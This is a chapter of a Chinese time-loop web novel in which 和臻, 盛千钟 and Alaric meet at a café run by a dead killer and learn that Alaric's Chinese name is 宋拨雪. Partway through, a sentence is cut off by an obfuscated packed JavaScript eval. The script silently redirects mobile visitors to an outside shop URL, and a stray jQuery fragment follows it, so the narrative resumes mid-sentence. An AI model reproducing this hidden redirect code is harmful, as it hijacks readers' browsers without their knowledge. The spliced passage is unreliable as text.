和臻是在离开警局后看见Alaric的。
他金色的发丝在阳光下格外耀眼,浅色的眸子似乎只装得下她一个人。
除了第一个周目的结局,和臻对Alaric并没有除了血色以外更多的映像。
可他现在就在这里,用一种她看不懂的目光凝视着自己。
“你好?”
和臻本想直接离去,但Alaric的目光已经可以用炽热来形容了,她只好缓步走过去,对他打了个招呼。
“我们……认识吗?”
明明已经是第三个周目了,和臻却觉得眼前的Alaric比之前的“稚嫩”了很多。
无论是清澈的目光还是毫无保留的情感释放,她都觉得过去看见的Alaric比眼前这个更加成熟。
就好像过去几个周目的Alaric已经经历过死亡的沉淀,而眼前的他才初出茅庐。
是错觉吗?
和臻按了按自己的太阳穴,可能是第一次杀人的后遗症,让她看世界的角度都和以往不一样了,所以才对他产生了这样的误解。
“和……”
Alaric想呼唤她的名字。
但她的确不认识自己。
塔利亚的局势已经稳定,但他一意孤行地来这里的举动无人能理解。
他一意孤行想见到的人也已经和他形同陌路。
怎么会这样?
怎么会和塔记忆里的一切截然不同?
他这是来到了平行世界吗?
来到了一个,和臻不是和他青梅竹马长大的平行世界。
“你还好吗?”
和臻看见Alaric似乎沉浸在无法摆脱的痛苦中,连嘴唇都渗出了一丝血液,牙齿的尖部微微泛红。
“Alaric?”
盛千钟同样被叫到了警局,但是直到现在才出来。他一走出大门就开始搜寻和臻的位置,却看见了另一个好久不见的朋友。
Alaric对盛千钟点点头,声音虚弱地回应了一句:“好久不见。”
“你怎么会……”盛千钟一时间不知道怎么开口。
你怎么会突然回国?
你怎么出现在这里?
你……认识和臻?
“我有些头晕。”Alaric作势就要倒下,虽然面色说不上苍白,整个人却都透着股楚楚可怜的感觉。
和臻离他比较近,没加思索地就上前一步扶住了Alaric。
好轻……
明明看起来比自己高了很多,却好像都没什么重量。和臻第一次感觉有个人好像是从漫画里走出来的一样,精致又轻飘飘的。
更重要的是,不知道他从哪里来,也不知道最后他要去哪。
简直是凭空出现的一样。
“谢谢你。”Alaric睁开方才半阖上的眼睛,就像那柔弱不能自理的小王子,什么也无法让和臻放下心丢下他。
盛千钟:???
他真的不是被夺舍了吗?
盛千钟恨不得扒开Alaric,把过去的影像拿出来给和臻看看,他到底是个多么可怕的家伙。
或许是塔利亚这几年的战乱磨平了他的棱角,所以Alaric才变得这么……有破碎感?
“我叫Alaric,”虽然刚刚盛千钟已经说出了他的名字,Alaric还是重新自我介绍了一下,“你……”
“她叫和臻。”盛千钟抢先一步回答,“是我的女朋友。”
女朋友……
和臻看了盛千钟一眼,并没有否认这个称号。
他们现在再怎么说也是共犯了,的确没有比男女朋友更合适的身份,适合他们串供以及寻找下一个目标。
Alaric的表情僵硬了一秒,但很快就恢复了楚楚可怜的模样,似乎真的对这句话没有任何反应一样。
“真好,”Alaric说,“我还以为盛千钟心里只有篮球呢。”
“居然……也能谈到这么漂亮的女朋友。”
虽说是在夸盛千钟的女朋友漂亮,但他总觉得Alaric这番话阴阳怪气。
不过,比起刚刚那幅可怜兮兮的样子,现在这样话里藏锋,阴阳怪气的样子才更符合盛千钟心里的Alaric。
至少他的确没有被什么奇怪的东西夺舍。
“一起喝杯咖啡吗?”
不知道符盏经营的那家咖啡厅是不是还在正常运行,没有了他的话,那几个员工会不会像无头苍蝇一样呢?
盛千钟和Alaric都没有异议。
和臻和盛千钟算是有命案在身上的,Alaric又刚刚回国无处可去。在咖啡厅小叙一下也无可厚非。
与和臻预想的不同,咖啡厅不仅没有关门大吉,反而比她想得来了更多人。以至于和臻原本想坐的位置,此时已经有了一对小情侣——
“司徉?”
司徉和夏掬月在那个角度刚好看不见和臻和盛千钟,所以盛千钟这一句低声惊叹自然也传不到他的耳中。
“他跟夏鱼的,婚事。”婚事这两个字让和臻有些说不出口,毕竟真正跟司徉有纠葛的其实是他眼前的夏掬月。
“不是已经取消了吗?”
“难怪。”盛千钟并没有领会和臻真正的意思,直到她的下一句话是,司徉怎么还能这么光明正大地和夏鱼的母亲待在一起。
盛千钟对夏掬月有点映像,毕竟是风靡一时的女演员,他过去也经常在电视上看见她。
不过至于她是司徉未婚妻的母亲,盛千钟还是第一次知道。
和臻特地选了另一个方向的座位,完全避免了和那两个人碰上。
借由看菜单的间隙,和臻搜寻着店内的忘忧鱼。
上个周目过来的时候,还只能看见一个鱼缸。
而这一次,她目光所及之处就至少有三个。
这么说来,没产生一个受害者,这里的鱼缸可能就会减少一个。
比如在游轮上,夏天的旁边就有一条忘忧鱼拼命跳出了鱼缸,和夏天一样,发出生命最后的悲鸣。
和臻不能肯定这个想法,但至少以目前的时间线看来,很多受害者都还活着。
比如夏天,比如林木。
“要点什么吗?”夏天把菜单放到了三人面前,嘴角微微上扬,心情似乎很不错。
和臻没有着急点单,反而左顾右盼了一会才开口:“以往似乎不会有这么多店员?”
不仅是夏天,林木和赵多齐也都在这里,往常可不能看见他们被排在同一时间打工。
“啊……”
夏天似乎是没想
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149884|124106||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到和臻会这么问,稍加思索后回答:“好像是店长出了什么事,所以现在是副店长带我们。副店长业务不是很熟悉,就让我们这些老员工多……多一点工作时间。”
“不过工资也加倍,所以也不会觉得辛苦。”
“这样啊。”
打发走了夏天,在盛千钟不解的目光下,和臻缓缓开口:“这家咖啡厅的店长,是符盏。”
盛千钟倒吸一口凉气,他没想到和臻胆子这么大,前几天刚刚杀人,现在就出现在了死者所经营的咖啡厅里。
“刚刚那个服务员,叫夏天,还有收银台那边那个,叫林木,原本应该是符盏的下一个目标。”
和臻看着表情憔悴的赵多齐,简单提了一句:“他还有个妹妹,如果我猜的没错,他和他的妹妹都在符盏的清单里。”
“表面上是他的员工,其实是他的养料啊。”盛千钟沉默地看着杯子里的咖啡,一时间感觉如鲠在喉,怎么也无法劝服自己喝下去。
“或许,你们可以告诉我,你们在说什么吗?”Alaric从始至终都保持着浅笑,依稀能从他们似是而非的话语里猜到些什么。
但毕竟他刚刚结束国内的事情,一来这里就一下子接受这么多信号,一时间无法处理也是正常的。
和臻没想到Alaric会这么说,她已经默认Alaric知晓了一切,毕竟他为她而死的那个周目,他好像为她挡下了一切可能的恶意。
只是没想到突如其来的变故是夏掬月,所以和臻依然没能逃脱死亡的命运。
难道……是因为这次回溯的时间太早,所以Alaric还没能了解那一切吗?
盛千钟迟疑了一秒,最终把目光落在和臻的身上。
和臻沉默地看着咖啡上的金鱼拉花,思考是哪个环节出了问题。她之所以毫无保留地在Alaric面前和盛千钟说这些,就是认为他是知道一切的。
是她记忆出了偏差吗?
是因为这个周目杀了人,所以才导致了这种转变吗?还是因为绑定了新生,所以才和原来的系统经历的时间不一样?
“其实,宋拨雪,我们……”
最终还是盛千钟先开口,但和臻在听到宋拨雪这三个字后,眼睛里的惊讶几乎要溢出来。
最后,她重复了一遍:“宋拨雪?”
“哦,忘了告诉你,这是Alaric的中文名,宋拨雪。”盛千钟以为和臻只是因为第一次听到这个名字不适应,所以简单地解释了一下。
Alaric点头表示同意:“是根据殷续昼的名字取的。”
“殷续昼……或许你也认识他吗?”
和臻点头。
这个周目可以说是素未谋面,但是前两个周目已经对他熟悉到极致了。
尽管如此,也没有人告诉她,宋拨雪是Alaric的另一个名字。
不对……
不对啊,那她认识的宋拨雪又是谁呢?
是那个人冒用了“宋拨雪”这个名字,还是……
“拨雪寻春,烧灯续昼。”就是他名字的由来。
“或许你有女装的经历吗?”
和臻与盛千钟的声音叠在一起,但Alaric依然清晰地听见了她的话语。
他低声呢喃:“在你的过去,我的将来。”